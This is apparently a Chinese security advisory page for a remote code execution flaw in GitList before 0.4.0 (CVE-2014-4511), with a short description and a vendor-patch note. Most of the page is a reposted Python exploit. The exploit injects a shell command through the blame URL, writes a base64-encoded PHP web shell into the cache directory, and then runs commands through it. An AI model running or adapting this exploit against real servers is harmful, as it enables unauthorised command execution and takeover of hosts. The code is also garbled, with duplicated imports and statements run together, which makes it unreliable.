GitList远程代码执行漏洞(CVE-2014-4511)
<p>受影响系统：<br />GitList GitList < 0.4.0<br /> GitList GitList<br />描述：<br />--------------------------------------------------------------------------------<br />BUGTRAQ ID: 68253<br /> CVE(CAN) ID: CVE-2014-4511<br /> <br />GitList是用PHP编写的开源软件，是git库浏览器。<br /> <br />GitList 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。<br /> <br /><*来源：drone<br /> *><br />测试方法： --------------------------------------------------------------------------------</p><p>警 告</p>
<p>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！</p>
<p><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode33"><br />from commands import getoutput<br /> import urllib<br /> import sys<br /> from commands import getoutput<br /> import urllib<br /> import sys<br />"""<br /> Exploit Title: Gitlist <= 0.4.0 anonymous RCE<br /> Date: 06/20/2014<br /> Author: drone (@dronesec)<br /> Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a><br /> Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a><br /> Version: <= 0.4.0<br /> Fixed in: 0.5.0<br /> Tested on: Debian 7<br /> More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a><br /> cve: CVE-2014-4511<br /> """<br />if len(sys.argv) <= 1:<br /> print '%s: {cache path}' % sys.argv<br /> print 'Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv<br /> print 'Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv<br /> sys.exit(1)<br />url = sys.argvurl = url if url[-1] != '/' else url[:-1]<br />path = "/var/www/gitlist/cache"<br /> if len(sys.argv) > 2:<br /> path = sys.argv<br />print '[!] Using cache location %s' % path<br /># payload <?system($_GET['cmd']);?>payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="<br /># sploit; python requests does not like this URL, hence wget is used<br /> mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)<br /> mpath = url+ urllib.quote(mpath)<br />out = getoutput("wget %s" % mpath)<br /> if '500' in out:<br /> print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)<br /> else:<br /> print '[-] Failed to drop'<br /> print out<br /></div></p>
<p>建议：<br />--------------------------------------------------------------------------------<br />厂商补丁：<br /> <br />GitList<br /> -------<br /> 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：<br /> <br />http://gitlist.org/</p>
頁:
[1]